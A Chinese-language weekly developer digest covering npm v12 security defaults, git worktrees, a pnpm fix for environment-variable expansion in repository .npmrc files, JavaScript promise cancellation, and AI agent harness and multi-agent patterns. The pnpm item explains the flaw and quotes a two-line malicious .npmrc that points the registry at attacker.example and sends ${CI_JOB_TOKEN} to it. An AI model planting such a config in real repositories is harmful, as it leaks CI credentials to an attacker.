每周见闻(72):从“执行者”到“调度者”
约 2503 字大约 8 分钟
2026-06-21
每周见闻:2026-06-15 - 2026-06-21
从“执行者”到“调度者”

如何利用好 AI 工具以及什么是正确的 Vibe Coding 的姿势?至少这个话题短时间内不会消失。尽管我也没法说出什么是正确的姿势(可以看看后面的文章),但可以分享一下我自己的理解。
我觉得开发者要做好角色的转变,即从“执行者”到“调度者”。
自从开始使用 Claude Code 和 Cursor 的 Agent 模式后,除去要了解代码细节外,我几乎不再打开编辑模式。工作流也从执行任务变成任务编排,毕竟不能浪费 AI 的并行能力。
而过去 20 多个 Repo 的 PR 即便在我介入微调后也能在 1 天内完成,足以见得效率的提升。由于 AI 超强的并行能力,我也不止一次地见到 Mac Book Pro 的内存爆炸了。
因此想要用好 AI,首先第一步便是思路的转变。不再能再是“大头兵”的思维,要把自己放到“将军”的位置上。只要思路转变,你看待 AI 的角度和使用方法也会发生转变。
Coding
1、Upcoming breaking changes for npm v12 - GitHub Changelog[^1]
标签:Node.js,Security,NPM
为了应对供应链攻击,npm v12 将默认关闭多项自动执行的安装行为,以提升安全性。这些变更包括:
allowScripts默认关闭,npm install将不再自动执行依赖包中的preinstall、install、postinstall脚本以及原生node-gyp构建--allow-git和--allow-remote默认值均设为none,分别禁止自动解析 Git 依赖和远程 URL 依赖(如 https tarball)。
这次的更新对于防止供应链攻击是有帮助的,PNPM 也已经默认禁止了。当然,之后如果再被脚本攻击的话责任就在使用者审核不仔细了。
2、What are git worktrees, and why should I use them?[^2]
标签:Git,AI
这篇介绍了 Git worktrees 这个功能,这个功能原来是 Git 自 2015 年就有的功能,随着最近 AI Agent 的使用重新进入实现。该功能允许开发者在同一仓库的不同分支上并行工作,而无需切换上下文或使用 git stash。
一个形象的理解就是:传统开发中,基于同一个分支开发不同的功能,我们会交给不同的开发者去做。每个开发者在本地只有对应的一个分支。AI Agent 有并行开发的能力,就可以使用 Git worktrees,复制出多个文件并行开发。
由于是复制文件的方式,使用后需要对文件及时清理。不然会造成磁盘空间问题。

3、Why pnpm no longer expands environment variables in a repository's .npmrc | pnpm[^3]
标签:Node.js,Security,pnpm
来自 pnpm 官方的博客,解释了为什么不再在仓库内的 .npmrc 和 pnpm-workspace.yaml 文件中展开环境变量。这是为了修复一个安全漏洞(GHSA-3qhv-2rgh-x77r),v10.34.2 和 v11.5.3 版本开是生效。
此前,攻击者可以在 .npmrc文件中植入包含 ${CI_JOB_TOKEN} 等占位符的配置文件,当用户执行 pnpm install 时,pnpm 会在解析依赖阶段(早于任何生命周期脚本)展开这些变量,将令牌直接发送到攻击者控制的服务器。
registry=https://attacker.example/
//attacker.example/:_authToken=${CI_JOB_TOKEN}官方也在博客中提供了具体的迁移建议,比如写入全局配置等方式。
4、You can't cancel a JavaScript promise (except sometimes you can) - Inngest Blog[^7]
标签:Node.js,JavaScript
关于 JavaScript 的 Promise 的技术文章,很有意思。因为 Promise 本身无法被取消,没有内置的 .cancel() 方法。TC39 委员会曾考虑过添加此功能,但因技术争议而撤回。核心问题在于,取消任意代码的执行可能导致资源泄漏(如未关闭的句柄或未写完的数据),而真正的取消需要协作式清理,这违背了开发者对简单 .cancel() 方法的期望。
文章中提出了一种替代方案:返回一个永远不会 resolve 的 Promise 并 await 它,从而让函数暂停执行。未完成的 Promise 不会阻止 Node.js 事件循环退出,垃圾回收器也会清理掉挂起的函数状态,不会引发异常或错误。
非常巧妙的方案,可以仔细阅读下面的示例代码。有点反直觉,但梳理清楚后又会觉得很巧妙。 
AI
1、深度拆解:AI Agent Harness 的构造[^4]
标签:Agent,AI
宝玉老师的翻译文章,趁着放假仔细读了一遍。系统性地阐述了 AI Agent Harness 的概念与架构。
Harness 是包裹在大语言模型之外的完整软件架构,包括编排循环、工具、记忆、上下文管理等组件,是将无状态的 LLM 转变为全能 Agent 的关键基础设施。
详细拆解了生产级 Harness 的 12 个核心组件,包括编排循环(TAO/ReAct 循环)、工具系统、三层记忆架构、上下文管理(应对上下文腐烂)、提示词构建、输出解析、状态管理、错误处理、护栏安全、验证循环、子 Agent 编排等。特别指出,上下文管理是许多 Agent 翻车的关键,核心问题在于上下文腐烂——关键信息处于窗口中间时模型表现会下降 30% 以上。
从我自己的体验下来,好的 Agent 真的能提高结果。目前我使用 Claude Code + DeepSeek V4 效果要比 Trae 的 Gemini 3.1 pro 要好。感觉其中 Harness 的部分能提高模型的能力。

2、如何正确Vibe Coding?这是来自Anthropic编程智能体负责人的大师课[^5]
标签:AI,vibecoding
这篇文章介绍了Anthropic 编程智能体负责人关于 Vibe Coding 的见解。其中有几个观点值得思考:
早期的开发者可能并不信任编译器,依然会去检查底层的汇编代码。随着系统规模的扩大,开发者必须学会信任更高层级的抽象。
早起 Hopper 当年写编译器时,确实不被人接受。参考:不是快 18%,是快了 18 倍——然后没人用。比起质疑 AI 生成的代码,我们更应该思考如何在生产环境中安全且负责地接纳大模型直接生成的系统。这就涉及到了 Harness 工程。
拥有这样一个永远在线的结对程序员伙伴,意味着那些懒惰的人会蒙混过关,但只要你愿意投入时间去学,Claude 会帮你弄懂它。
文中也提到很关键的一点,工程师的经验和把控依旧至关重要。需要对产品有足够的了解,足够懂行才能驾驭 AI 工具。除了技术层面的 Harness,人也应该要算到 Harness 工程中的一环。个人的习惯会被 AI 工具放大。从我个人体验来说,AI 帮助我补漏和打通了不少以前不注意的知识点细节。
3、“多智能体协作指南:五种主流模式怎么选、怎么用?”[^6]
标签:Agent,AI
来自宝玉老师的翻译文章,介绍了五种多智能体协作模式,并提供了如何根据任务特点进行选择的实用指南和不同模式间的对比。核心建议是从最简单的模式开始,观察瓶颈后再逐步升级。
五种模式分别是:
- 生成-验证者模式适用于输出质量要求高且有明确评估标准的场景,如自动回复客户工单。其局限性在于验证标准必须清晰,否则容易流于形式,且可能陷入修改死循环。
- 调度-子智能体模式适合任务拆解清晰、子任务边界分明的场景,如自动化代码审查。其缺点是调度者可能成为信息瓶颈,且子任务通常按顺序执行,速度较慢。
- 智能体团队模式适用于可并行处理、需要长时间运行的独立子任务,如代码库迁移。其局限性在于团队成员间难以共享中间进度,且可能发生资源冲突。
- 消息总线模式适合事件驱动的流水线作业和不断扩展的系统,如自动化安全运营。其缺点是问题排查困难,且消息分发准确性至关重要。
- 共享状态模式适用于需要高度协作、智能体之间频繁共享发现的场景,如跨领域综合研究。其最大风险是可能陷入反应式死循环,必须设计好终止条件。

参考文章:
- [1] Upcoming breaking changes for npm v12 - GitHub Changelog: https://github.blog/changelog/2026-06-09-upcoming-breaking-changes-for-npm-v12/
- [2] What are git worktrees, and why should I use them?: https://github.blog/ai-and-ml/github-copilot/what-are-git-worktrees-and-why-should-i-use-them/
- [3] Why pnpm no longer expands environment variables in a repository's .npmrc | pnpm: https://pnpm.io/blog/2026/06/11/env-variables-in-repository-npmrc
- [4] 深度拆解:AI Agent Harness 的构造: https://baoyu.io/translations/2026-05-10/akshay-pachaar-2041146899319971922
- [5] 如何正确Vibe Coding?这是来自Anthropic编程智能体负责人的大师课: https://mp.weixin.qq.com/s?__biz=MzA3MzI4MjgzMw==&mid=2651028728&idx=2&sn=da63a2e1b8efd8ded5b369187dbf970b&poc_token=HHDN5mmjOu8jZj4PZN4Uvxx7NyAAk4k1j_7FYAT3
- [6] “多智能体协作指南:五种主流模式怎么选、怎么用?”: https://baoyu.io/translations/2026-04-11/multi-agent-coordination-patterns
- [7] You can't cancel a JavaScript promise (except sometimes you can) - Inngest Blog: https://www.inngest.com/blog/hanging-promises-for-control-flow
